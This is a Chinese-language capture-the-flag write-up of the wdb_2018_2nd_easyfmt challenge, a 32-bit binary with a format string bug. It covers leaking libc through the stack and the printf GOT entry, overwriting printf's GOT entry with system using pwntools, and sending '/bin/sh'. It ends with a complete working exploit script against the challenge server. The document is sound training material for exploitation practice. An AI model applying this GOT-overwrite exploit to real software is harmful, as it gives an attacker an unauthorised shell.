wdb_2018_2nd_easyfmt详解
自己做出来了,,,,还看其他人的
参考:wdb_2018_2nd_easyfmt)
程序流程
程序流程非常简单,可以一直进行格式化字符串漏洞。
漏洞利用
- 首先通过格式化字符串泄露栈信息
- 通过格式化字符串修改printf_got表为system(one_gadget本地打通了,远程没有,,)
- 发送“/bin/sh\x00”,
详细过程
0.查看基本信息
32位程序,只开了nx
1 2 3 4 5 6 7 8 9
| winter@ubuntu:~/buu$ file wdb_2018_2nd_easyfmt wdb_2018_2nd_easyfmt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f86851c3576d0aabf0b0b2310d835d0f6e660eb8, not stripped winter@ubuntu:~/buu$ checksec wdb_2018_2nd_easyfmt [*] '/home/winter/buu/wdb_2018_2nd_easyfmt' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
|
格式化字符串,偏移为6
1.泄露信息
方法一:栈上数据
可以直接查看栈上的信息进行泄露
1 2 3 4 5 6 7 8
| pwndbg> stack 30 00:0000│ esp 0xffffcfbc —▸ 0x80485cf (main+132) ◂— add esp, 0x10 01:0004│ 0xffffcfc0 —▸ 0xffffcfd8 ◂— 'aaaa\n' ... ↓ 03:000c│ 0xffffcfc8 ◂— 0x64 /* 'd' */ 04:0010│ 0xffffcfcc —▸ 0xf7e9379b (handle_intel+107) ◂— add esp, 0x10 #libc中的数据,计算偏移即可得到libc基址 05:0014│ 0xffffcfd0 —▸ 0xffffcffe —▸ 0xffff0000 ◂— 0x0 06:0018│ 0xffffcfd4 —▸ 0xffffd0fc —▸ 0xffffd2e9 ◂— 'XDG_VTNR=7'
|
1 2 3 4 5 6 7 8 9
| p.recvuntil("Do you know repeater?") payload = "%3$p" p.sendline(payload) handle_intel_107 = p.recvuntil("f7")[-2:] handle_intel_107 += p.recv(8) handle_intel_107 = int(handle_intel_107,16) log.success(hex(handle_intel_107))
|
通过脚本输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x8048000 0x8049000 r-xp 1000 0 /home/winter/buu/wdb_2018_2nd_easyfmt 0x8049000 0x804a000 r--p 1000 0 /home/winter/buu/wdb_2018_2nd_easyfmt 0x804a000 0x804b000 rw-p 1000 1000 /home/winter/buu/wdb_2018_2nd_easyfmt 0xf7dd5000 0xf7dd6000 rw-p 1000 0 0xf7dd6000 0xf7f83000 r-xp 1ad000 0 /home/winter/buu/libc-2.23-32.so 0xf7f83000 0xf7f84000 ---p 1000 1ad000 /home/winter/buu/libc-2.23-32.so 0xf7f84000 0xf7f86000 r--p 2000 1ad000 /home/winter/buu/libc-2.23-32.so 0xf7f86000 0xf7f87000 rw-p 1000 1af000 /home/winter/buu/libc-2.23-32.so 0xf7f87000 0xf7f8b000 rw-p 4000 0 0xf7f8b000 0xf7f8e000 r--p 3000 0 [vvar] 0xf7f8e000 0xf7f90000 r-xp 2000 0 [vdso] 0xf7f90000 0xf7fb3000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so 0xf7fb3000 0xf7fb4000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so 0xf7fb4000 0xf7fb5000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so 0xff999000 0xff9ba000 rw-p 21000 0 [stack]
|
计算偏移为:0xf7e658fb - 0xf7dd6000 = 0x8F8FB
故可以得到libc_base
1 2
| libc_base = handle_intel_107 - 0x8f8fb - 0x20 #0x20是因为远程的时候,发现好像有0x20的偏移,一般libc_base是000结尾,但是原来是020结尾,故猜测还要再减去0x20 log.success(hex(libc_base))
|
方法二:直接泄露got表信息(方便)
1 2 3 4 5 6
| p.recvuntil("Do you know repeater?") payload = p32(elf.got['printf']) + "%6$s" p.sendline(payload) printf_addr = u32(p.recvuntil("\xf7")[-4:]) print(hex(printf_addr)) libc_base = printf_addr - libc.sym['printf']
|
因为偏移是6,所以直接输入printf_got,输出该地址内容时候,就泄露了printf的地址。
2.格式化字符串写printf_got
利用pwntool的工具来做
1 2 3 4 5
| system = libc_base + libc.sym['system'] printf_got = elf.got['printf']
payload = fmtstr_payload(offset,{printf_got:system}) p.sendline(payload)
|
1 2
| pwndbg> x/30wx 0x804a014 0x804a014: 0xf7e3a940 0xf7e5f140 0xf7e18540 0xf7e60da0
|
1 2
| pwndbg> x/30wx 0xf7e3a940 0xf7e3a940 <system>: 0x8b0cec83 0xe8102444 0x000e2941 0x56b4c281
|
3.发送”/bin/sh\x00”字符串
1
| p.sendline("/bin/sh\x00")
|
执行printf(&buf);
=> system(“/bin/sh\x00”)
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import *
p=process(['./wdb_2018_2nd_easyfmt'],env={"LD_PRELOAD":"/home/winter/buu/libc-2.23-32.so"}) p=remote("node3.buuoj.cn",25745) context.log_level = 'debug' context.arch = 'i386' elf = ELF("./wdb_2018_2nd_easyfmt")
libc = ELF("/home/winter/buu/libc-2.23-32.so")
p.recvuntil("Do you know repeater?") payload = p32(elf.got['printf']) + "%6$s" p.sendline(payload) printf_addr = u32(p.recvuntil("\xf7")[-4:]) print(hex(printf_addr)) libc_base = printf_addr - libc.sym['printf']
system = libc_base + libc.sym['system'] printf_got = elf.got['printf'] offset = 6 log.success(hex(printf_got)) payload = fmtstr_payload(offset,{printf_got:system}) p.sendline(payload) p.sendline("/bin/sh\x00")
p.interactive()
|